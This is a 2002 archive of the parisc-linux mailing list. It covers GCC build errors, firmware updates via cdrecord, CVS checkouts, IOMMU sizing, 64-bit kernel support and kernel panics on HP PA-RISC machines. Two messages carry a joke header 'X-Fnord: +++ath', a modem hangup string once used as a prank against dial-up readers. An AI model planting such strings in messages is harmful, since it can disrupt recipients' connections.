	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g6IIXdRv002249;
	Thu, 18 Jul 2002 14:33:39 -0400 (EDT)
In-Reply-To: <20020712072703.GA8838@tausq.org> from "Randolph Chung" at Jul 12, 2002 00:27:03 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15573

> In file included from /home/tausq/src/gcc-3.2/gcc/unwind-dw2.c:1210:
> /home/tausq/src/gcc-3.2/gcc/unwind.inc: In function `_Unwind_RaiseException':
> /home/tausq/src/gcc-3.2/gcc/unwind.inc:132: error: Attempt to delete prologue/epilogue insn:
> (insn 337 336 338 14 (nil) (set (reg:DI 7 %r7)
>         (mem:DI (plus:DI (reg/f:DI 30 %r30)
>                 (const_int -296 [0xfffffffffffffed8])) [0 S8 A64])) -1 (nil)
>     (nil))
> /home/tausq/src/gcc-3.2/gcc/unwind.inc:132: internal compiler error: Internal compiler error in propagate_one_insn, at flow.c:1637

Fixed:
<http://gcc.gnu.org/ml/gcc-patches/2002-07/msg00963.html>.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:23:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: How to update firmware on c180 using a cd rom
Date: Thu, 18 Jul 2002 20:59:18 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20020719025918.724FF37E97__35098.2709941038$1416621545$gmane$org@carmen.fc.hp.com>
References: <3CFE411D@utnt02.utmem.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621545 11233 80.91.229.3 (22 Nov 2014 01:59:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:05 +0000 (UTC)
Cc: "debian-hppa@lists.debian.org" <debian-hppa@lists.debian.org>,
	parisc-linux@parisc-linux.org
To: Thaddeus A Wilson <TAWILSON@UTMEM.EDU>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 18 20:59:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id F05854830
	for <parisc-linux@parisc-linux.org>; Thu, 18 Jul 2002 20:59:36 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp2.fc.hp.com [15.15.136.253])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 57C2AE007AE; Thu, 18 Jul 2002 22:59:27 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 55008380DE; Thu, 18 Jul 2002 20:59:23 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id D7E524377; Thu, 18 Jul 2002 20:59:18 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 724FF37E97; Thu, 18 Jul 2002 20:59:18 -0600 (MDT)
X-Mailer: exmh version 2.5 07/13/2001 (debian 2.5-1) with nmh-1.0.4+dev
In-Reply-To: Message from Thaddeus A Wilson <TAWILSON@UTMEM.EDU> 
   of "Thu, 18 Jul 2002 22:04:32 CDT." <3CFE411D@utnt02.utmem.edu> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15574

Thaddeus A Wilson writes...

> i have a c180 with the hrc-24 graphics card and would like to install parisc 
> linux on it.  i am having some troubles and thought that an update in the 
> firmware from 4.3 to 6.2 might help matters.  i am interested in converting 
> the lifimage to cd and booting from it.
>  
> maybe i could unpack the lifimage to a directory and use mkisofs and cdrecord
> to make a bootable cd from iso image?

Just burn it directly to a cd with cdrecord, no need for mkisofs.

Your other options are,
 - netboot it using bootp/dhcp and tftp
 - dd it to a scsi device like a hard-drive or dat tape, and boot that

-- 
Matt Taggart
taggart@fc.hp.com




From - Thu Nov 08 21:23:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CVS Question?
Date: Fri, 19 Jul 2002 08:24:54 +0200 (CEST)
Lines: 12
Approved: news@gmane.org
Message-ID: <1027059894.3d37b0b63e61b@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621545 11235 80.91.229.3 (22 Nov 2014 01:59:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:05 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 19 00:24:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 61D634832
	for <parisc-linux@parisc-linux.org>; Fri, 19 Jul 2002 00:24:55 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17VRCA-00043E-00
	for <parisc-linux@parisc-linux.org>; Fri, 19 Jul 2002 08:24:54 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15575

Hi all, 

In parisc-linux cvs, with cvs is possible to co and update only general and hppa
specific sources (avoiding other arch: arm, ppc, ...)?

Thanks for info,
   Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic, ccio-dma.c, C110
Date: Fri, 19 Jul 2002 01:17:58 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <20020719071758.A865B4834@dsl2.external.hp.com>
References: <3D35925D.71683E92@ruhr-west.de> <20020717181459.CCD8E48CF@dsl2.external.hp.com>  <1026949980.10285.4.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621545 11237 80.91.229.3 (22 Nov 2014 01:59:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:05 +0000 (UTC)
Cc: Juergen Braukmann <juergen.braukmann@ruhr-west.de>,
	parisc list <parisc-linux@lists.parisc-linux.org>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 19 01:17:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A865B4834; Fri, 19 Jul 2002 01:17:58 -0600 (MDT)
In-Reply-To: Message from Ryan Bradetich <rbradetich@uswest.net> 
   of "17 Jul 2002 17:53:00 MDT." <1026949980.10285.4.camel@beavis> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15576

Ryan Bradetich wrote:
> Is there a way to make this more intelligent now that we have an I/O tree?

Probably. I'm looking at info given by "lspci -n".

o generalize characteristics of each PCI device class/subclass and
  assign them a score.
o sum scores by recursively walking all the PCI busses below an IOMMU.
o translate the total score into how much memory could be mapped at
  a time (ie size of IO pdir)
o make sure IO Pdir size can't map more than 50% or 75% of Host
  physical memory.

> Maybe driverfs in 2.5.X will help us figure out how to make it
> smarter ... it kinda sucks to recompile the kernel because you do not
> have enough memory for our default setting of 4.

driver fs would probably help since we could then do it the
same way for all bus types.

But in 2.5, I'd rather see all the drivers indicate "Max DMA Mappings"
in some static data since that's what is really driving
the IO Pdir size.

> Seems like we could develop a huristic based on devices below the
> iommus.

yup. Will need tweaks too though...just satisfies more people.

grant


From - Thu Nov 08 21:23:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS Question?
Followup-To: gmane.linux.ports.hppa
Date: Fri, 19 Jul 2002 19:39:43 +0800
Lines: 45
Approved: news@gmane.org
Message-ID: <20020719193941.A30931@neep.com.au>
References: <1027059894.3d37b0b63e61b@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621546 11239 80.91.229.3 (22 Nov 2014 01:59:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:06 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 19 05:42:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (123.telstra.ppp.reynolds.net.au [203.38.119.123])
	by dsl2.external.hp.com (Postfix) with ESMTP id 49A3D4837
	for <parisc-linux@parisc-linux.org>; Fri, 19 Jul 2002 05:42:08 -0600 (MDT)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id TAA00221
	for parisc-linux@parisc-linux.org; Fri, 19 Jul 2002 19:39:46 +0800
Mail-Followup-To: parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1027059894.3d37b0b63e61b@webmail.tiscalinet.be>; from joel.soete@freebel.net on Fri, Jul 19, 2002 at 08:24:54AM +0200
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15577

joel.soete@freebel.net said:
> Hi all, 
> 
> In parisc-linux cvs, with cvs is possible to co and update only general and 
> hppa specific sources (avoiding other arch: arm, ppc, ...)?
> 
> Thanks for info,
>    Joel

Unfortunately the .cvsignore files are for 'local ignorance' and you
can't use the cvs -I (ignore) flag with checkout.  You can with import
and update though, which is good, and at least something.

Two possible courses of action for you that spring to mind:

  1) (i)   check out the entire tree
     (ii)  delete the directories you don't want
     (iii) only perform future cvs updates with '-P', removing '-d' from
           your .cvsrc or just skipping .cvsrc for this module:
	     cvs -f up -P .

  2) (i)   check out the entire tree
     (ii)  locate all the directories you don't want, but don't delete
           them (or just leave the empty directories in place)
     (iii) put their paths in a file e.g. ~/.cvs_ignores
     (iv)  perform future cvs updates with a commend like this:
             cvs up -dP $(for dir in $(cat ~/.cvs_ignores); do echo -n \
	     "-I $dir "; done) .

I use '.' because I assume you're already in the module directory when
you do the cvs update - that's what I do anyway.

Please note that I haven't tried either of these.  I'm pretty confident
that (1) will work as you want it to, but (2) may not.

HTH

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:23:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stefan Pfetzing <dreamind@dreamind.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Cdrecord and parisc64 kernel
Date: Fri, 19 Jul 2002 13:49:20 +0200
Organization: private
Lines: 18
Approved: news@gmane.org
Message-ID: <20020719114920.GA4928@dreamind.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621546 11243 80.91.229.3 (22 Nov 2014 01:59:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 19 05:49:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (IP-213157009069.dialin.heagmedianet.de [213.157.9.69])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85AEE483B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Jul 2002 05:49:22 -0600 (MDT)
Original-Received: from dreamind by localhost with local (Exim 3.35 #1 (Debian))
	id 17VWG8-0001KQ-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Jul 2002 13:49:20 +0200
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-PGP-Algorithms: RSA and DSA/EG keys are available
X-Operating-System: Debian GNU/Linux testing/unstable (Kernel 2.4.18-xfs-1.1)
X-Cool: http://dreamind.de
X-Fnord: +++ath
X-WebTV-Stationery: Standard; BGColor=black; TextColor=black
X-Message-Flag: Message text blocked: ADULT LANGUAGE/SITUATIONS
X-BeenThere: hellfire@templeofhate.com
X-MSMail-Priority: High
Reply-By: Tue, 24 Jul 1782 19:02:00 +1000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15578

Hi,

I just installed Debian/hppa on my HP Visualize C200.

After I've compiled a kernel for 64bit and tried to use cdrecord it crashed
the whole machine. It was not availible via network and din't respond any more
to keyboard requests. (btw. what key is SysRq?  Alt-Printscreen doesn't work)

The problem is, I saw noting, not on the console, and not in the syslog.

bye

Stefan

-- 
        http://www.dreamind.de/
Oroborus and Debian GNU/Linux Developer.


From - Thu Nov 08 21:23:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cdrecord and parisc64 kernel
Date: Fri, 19 Jul 2002 13:03:04 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20020719130304.T13352@parcelfarce.linux.theplanet.co.uk>
References: <20020719114920.GA4928@dreamind.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621546 11245 80.91.229.3 (22 Nov 2014 01:59:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stefan Pfetzing <dreamind@dreamind.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 19 06:03:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 284C8484C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Jul 2002 06:03:09 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17VWTQ-0000lr-00; Fri, 19 Jul 2002 13:03:04 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020719114920.GA4928@dreamind.de>; from dreamind@dreamind.de on Fri, Jul 19, 2002 at 01:49:20PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15579

On Fri, Jul 19, 2002 at 01:49:20PM +0200, Stefan Pfetzing wrote:
> I just installed Debian/hppa on my HP Visualize C200.
> After I've compiled a kernel for 64bit and tried to use cdrecord it crashed

from the FAQ:

14. Can I run a 64-bit kernel on my machine ?

The answer to this is generally determined by the firmware your machine
runs. Workstations up to and including the J2240 and C360 only have 32-bit
firmware. The normal 64-bit kernel will not run on these systems. The
A500 and L2000 server only have 64-bit firmware, and these machines must
run a 64-bit kernel. The C3000 and similar workstations have both 32-bit
and 64-bit firmware and can therefore run either kernel.

A more important question is : why do you want to run a 64-bit kernel ?
Since we do not yet support 64-bit userspace, there is no advantage
to be gained running a 64-bit kernel on a machine with less than 3.5GB
of memory.

For those who do want to test 64-bit kernels on older machines, there is a
special configuration option `32-bit PDC' which will allow a 64-bit kernel
to work with 32-bit firmware. We cannot enable this option by default
as the resulting kernel will not work on machines with 64-bit firmware.


-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C110, kernel Panics, still more tears ;-(
Date: Fri, 19 Jul 2002 18:08:09 +0200
Organization: Power Penguin Club
Lines: 24
Approved: news@gmane.org
Message-ID: <3D383969.1657EF43@ruhr-west.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621547 11248 80.91.229.3 (22 Nov 2014 01:59:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:07 +0000 (UTC)
To: parisc list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 19 11:37:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout03.sul.t-online.com (mailout03.sul.t-online.com [194.25.134.81])
	by dsl2.external.hp.com (Postfix) with ESMTP id E696B4838
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Jul 2002 11:37:41 -0600 (MDT)
Original-Received: from fwd09.sul.t-online.de 
	by mailout03.sul.t-online.com with smtp 
	id 17VbE0-0000IF-0G; Fri, 19 Jul 2002 19:07:28 +0200
Original-Received: from marvin.forty.two (520058847159-0001@[217.5.18.92]) by fmrl09.sul.t-online.com
	with esmtp id 17VbDz-2849JYC; Fri, 19 Jul 2002 19:07:27 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by marvin.forty.two (8.11.6/8.11.0/SuSE Linux 8.11.0-0.4) with ESMTP id g6JG8XZ07170
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Jul 2002 18:08:33 +0200
Original-Received: from ruhr-west.de (localhost [127.0.0.1])
	by localhost (AvMailGate-6.13.0.1) id 07155-0B4235F6;
	Fri, 19 Jul 2002 18:08:09 +0200
X-AntiVirus: OK! AvMailGate Version 6.13.0.26
	 at marvin has not found any known virus in this email.
X-Mailer: Mozilla 4.78 [de] (X11; U; Linux 2.4.16-4GB i686)
X-Sender: 520058847159-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15580

Hi Grant and all,

still more tears. I compiled and replaced the kernel, using 2.4.18pa55.
I used the setting of ccio_mem_ratio=16, but still my kernel panics with 

Kernel panic: ccio-dma.c ccio_alloc_range() I/O MMU is out of mapping
resources.
In interrupt handler - not syncing

would there be more chance with the ccio_mem_ratio setting of 8? Is
there a way to use more than one Kernel alternativly and select it at
boottime with palo? Is there an example palo.conf somewhere?

I will shut down X next and try again. I managed to ftp a large file
once and all I did after that was getting X to run.

Juergen

-- 
===========================================     __   _
Juergen Braukmann juergen.braukmann@gmx.de| -o)/ /  (_)__  __ ____  __
Tel: 0201-743648  dk4jb@db0qs.#nrw.deu.eu | /\\ /__/ / _ \/ // /\ \/ /
===========================================_\_v __/_/_//_/\_,_/ /_/\_\


From - Thu Nov 08 21:23:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stefan Pfetzing <dreamind@dreamind.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cdrecord and parisc64 kernel
Date: Sat, 20 Jul 2002 01:19:06 +0200
Organization: private
Lines: 23
Approved: news@gmane.org
Message-ID: <20020719231906.GB15819@dreamind.de>
References: <20020719130304.T13352@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621547 11250 80.91.229.3 (22 Nov 2014 01:59:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:07 +0000 (UTC)
To: parisc list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 19 17:19:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (IP-213157009069.dialin.heagmedianet.de [213.157.9.69])
	by dsl2.external.hp.com (Postfix) with ESMTP id 52D034839
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Jul 2002 17:19:08 -0600 (MDT)
Original-Received: from dreamind by localhost with local (Exim 3.35 #1 (Debian))
	id 17Vh1e-00049d-00
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Jul 2002 01:19:06 +0200
Content-Disposition: inline
In-Reply-To: <20020719130304.T13352@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
User-Agent: Mutt/1.4i
X-PGP-Algorithms: RSA and DSA/EG keys are available
X-Operating-System: Debian GNU/Linux testing/unstable (Kernel 2.4.18-xfs-1.1)
X-Cool: http://dreamind.de
X-Fnord: +++ath
X-WebTV-Stationery: Standard; BGColor=black; TextColor=black
X-Message-Flag: Message text blocked: ADULT LANGUAGE/SITUATIONS
X-BeenThere: hellfire@templeofhate.com
X-MSMail-Priority: High
Reply-By: Tue, 24 Jul 1782 19:02:00 +1000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
